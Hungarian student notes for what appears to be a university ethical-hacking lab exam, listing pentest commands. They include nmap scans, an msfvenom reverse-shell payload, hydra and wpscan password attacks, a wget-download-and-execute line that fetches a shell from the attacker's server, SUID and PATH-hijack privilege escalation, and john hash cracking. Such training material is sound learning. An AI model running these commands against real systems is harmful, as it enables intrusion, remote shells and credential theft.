ethack.infra.inf.unideb.hu

- Studentxx (username + password)

Zh kezdés: ip a -> saját ip cím

Nmap:

- Alap működés: nmap IP
- Flagek:
  .1. -p 20,21,22,443
  .2. -p 1000-3000
  .3. -p- ösown port
  .4. -sU udp scannelés(nem javasolt)
  .5. -sS SYN scan/stealth scan (nagyon hasznos)
  .6. -sV verzió scan (nagyon fontos)!!!!!!!!
  .7. -sC safe script futtatás
  .8. --script script futtatás
  .9. -O OS felderítés
  .10. -T0-5 meddig várjunk a timeoutra (higher is faster) (hagyjuk 3 an zhn)!!!!!!!!!!
  .11. -sn pingelés
- Alap parancs: **sudo nmap -p 1000-5000 -sS -sV <Áldozat IP>**

Netcat:

- 2 fontos parancs:
  .1. nc -nv <CélIP> <Port> (pl: nc -nv 10.0.0.1 4444)
  .2. **nc -lvnp <Port>** (pl: nc -lvnp 4444)

Msfvenom

- Képes shelleket generálni
- Böngészőbe: msfvenom cheatsheet -> infinite logins
- Meg kell jegyezni a saját IP címünket (ip a)
- LHOST (TÁMADÓ GÉP IP)
- LPORT (TÁMADÓ PORT pl: 4444)(bármi lehet 100-10000 között)
- RHOST (CÉLPONT GÉP IP)
- - f (formátum) (linuxon elf)
- **msfvenom -p linux/x64/shell_reverse_tcp LHOST=<TámadóIP> LPORT=<PORT> -f elf > shell.elf**

Dirb vagy Dirbuster(GUI) (vagy gobuster)

- Flagek:
  .1. -r nem rekirzív
  .2. -R rekirzív
  .3. -x extension_file (pl admin.php, admin.js)
  .4. -X extensions (felsorolás)
  .5. -u username:password (felhasználónév és jelszó)
- **dirb http://40.0.x.x /usr/share/wordlists/dirb/common.txt -r**
- **dirb http://40.0.x.x/admin /usr/share/wordlist/dirb/common.txt -u username:password -x php,sh,txt -r (/admin-hoz kell bejelentkezési adat)**

Hydra

- TIPP -> nem ajánlott zhn kivéve basic authentication!!!!!!! (Mert van rá modul)
- Elvileg????? minden amihez felhasználónév és jelszó kell, törhető
- Negatív példa elve
- **hydra -l username -P passlista http-get://40.0.3.15/admin**

CMD (command) shell

- Böngészőbe php exec
- exec man megnyit
- Examples megkeres majd kimásol és ment vmi.php

RCE (Remote Code Execution)

- Lépések:
  .1. msfvenom al készítünk egy OS shell-t (linux/x64/non-meterpreter/stageless)!!!!!!: **msfvenom -p linux/x64/shell_reverse_tcp LHOST=<TámadóIP> LPORT=<PORT> -f elf > shell-x64.elf**
  .2.
  .3. Listener a saját gépen: **nc -lvnp 4444**
  .4. **python3 -m http.server** (9000)(opcionális port)
  .5. RCE:
    .5.1. **cd /tmp** (itt van írási jogom!!!!)
      .5.1.1. rm -f /tmp/shell.elf
    .5.2. letöltöm a shellt: **wget http://sajatIP:8000/shell.elf** (a név tetszőleges)!!!!!!!
    .5.3. chmod +x /tmp/shell.elf
    .5.4. /tmp/shell.elf
  .6. Egyben: **cd /tmp;rm -f /tmp/shell.elf;wget http://sajatIP:8000/shell.elf;chmod +x /tmp/shell.elf;/tmp/shell.elf**
  .7. Shell (fél-)interaktívvál alakítása:
    .7.1. python3 -c "import pty;pty.spawn('/bin/bash')"

Wpscan:

- --url egyurl
- --enumerate [ap,vp,at,vt,stb] (--enumerate = -e)
- --usernames userlista/user --passwords passlista
- **sudo wpscan -e u,at,ap --url http://40.0.x.x/**
- kimenteni az első 5000 jelszót: cat /usr/share/wordlists/rockyou.txt | head -n5000 > /tmp/rock5000
- **sudo wpscan --usernames admin --passwords /tmp/rock5000 --url http://40.0.x.x**

WordPress

- url/wp-admin
- msfconsloe -q
- search wordpress admin shell
- use exploit/unix/webapp/wp_admin_shell_upload
- set password pwd
- set username user
- set rhost áldozatIP
- run (nem kell nc -lvnp 4444)!!!!!!!!!
- shell
- félinteraktív shellé alakítás
- exploitdb-re rákeresni

Prevesc:

- GTFOBins weboldal -> beírom a parancs nevét és megnézem mit kell csinálni
- sudo chmod u+s /bin/parancs (SUID adás)
- SUID bit: bináris furratható állományokon a futtatás a tulajdonos jogkörével történik
- Ha találtunk, nem kell install csak az alatta lévő kód(ok) és úgy kell kezdni, hogy /usr/bin/ és nem pedig " ./ "

Prevesc alapok:

- Új felhasználóvá válás eseté (Mindig mikor új felhasználóvá válunk, újrakezdjük a lépéseket)
    1. **sudo -l** (Ha jelszót kér és nem tudom, akkor 3szor elrontom a jelszót)
    2. SUID bit -> **find / -perm -u=s -type f 2> /dev/null** -> GTFObins(feljebb ott van mit kell csinálni) -> futtasd le az elsőt sajátgépen, majd hasonlítsd össze mi nincs és az lesz a nyerő
    3. rossz jogosultságok:
        - pl: /etc/passwd
        - pl: /etc/shadow

- **ls -l /etc/passwd**
- Ha + jel a jogosultságok végén, az acl
- **getfacl /etc/passwd** -> pl megtudtuk hogy John(ő egy felhasználó) tudja szerkeszteni a passwd fájlt
- passwd fájl struktúra:
- **nev:jelszo (vagy x):UID:GID:komment:homeMappa:shell (Ha UID és GID 0, akkor rendszegazda lesz)**
- Ha valakinek a jelszavát fel akarjuk törni John-al, akkor mindenképp a lenti sort kell elkészíteni:
- **nev:jelszo:MINDEGY:MINDEGY:MINDEGY:MINDEGY:MINDEGY**
- john=jelszó feltörő program
- hashcat is egy jelszó feltörő program
    - Ha szereztünk egy jelszót akkor lépjünk ki exit el oda ahova beléptünk, majd -> **su user**
    - Ha szereztünk egy jelszót és a gépen fut egy ssh akkor
    - Tamadó gépen: ssh -p sshport usernév@ip
    - Ha csak kulccsal lehet belépni -> lásd később
    - Majd előröl kezdem az egészet(mármint onnan, hogy sudo -l(mert az az első)
    - **cd /home/bob**
    - **echo 'import pty' > random.py**
    - **echo 'pty.spawn(\"/bin/bash\")' >> random.py**
    - **sudo -u juliet /usr/bin/python3 /home/bob/sgh.py**
    - Átléptem julietre majd újrakezdem. (sudo -l)

4. Path exploitation:
    - Elv: Ha egy prog meghív egy másik programot, de csak relatív útvonallal, pl: (df és nem pedig /usr/bin/df) akkor => készítünk egy saját uo nevű futtatható (chmod 777)programot (pl: df vagy ami a zhn lesz program) amibe a saját kódunkat tesszük(pl: bash), majd módosítjuk a PATH valtozót úgy, hogy először azt a mappát nézze meg, ahol a mi programunk van
    - **cd /tmp**
    - **echo 'bash' > /tmp/df**
    - **chmod 777 /tmp/df**
    - **export PATH=/mappa:$PATH (ebben a példában /mappa=/tmp)**
    - df mostmár új shellt fog nyitni
    - cd
    - ./program

Pártok = JS keretrendszerek (mind ugyanolyan rossz mint a másik)

John:

- bobjelszo=egy fájl melynek tartalma a következő(saját magadnak kell elkészíteni!!!!!)
    - **nev:jelszo (vagy x):UID:GID:komment:homeMappa:shell**
    - **jelszo = hashelt jelszo!!!!!!**
    - **nev = a felhasználó userneve (itt pl: bob)**
    - **a többi bármi lehet**
- **john bobjelszo --wordlist=/usr/share/wordlists/rockyou.txt**
- **johnos jelszónál (passwd jelszó oszlopa y így kezdődik) HA y van: !!!!!!!!!!**
    - **john bobjelszo --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt**

BurpSuite

- Előfeltétel: Proxy létrehozása (Firefox)
- FoxyProxy -> Options -> Add -> HTTP -> Proxy = 127.0.0.1 -> Port: 8080
- Ha bekpcsolod, nem fog működni semmi!!!!!!
- Intruder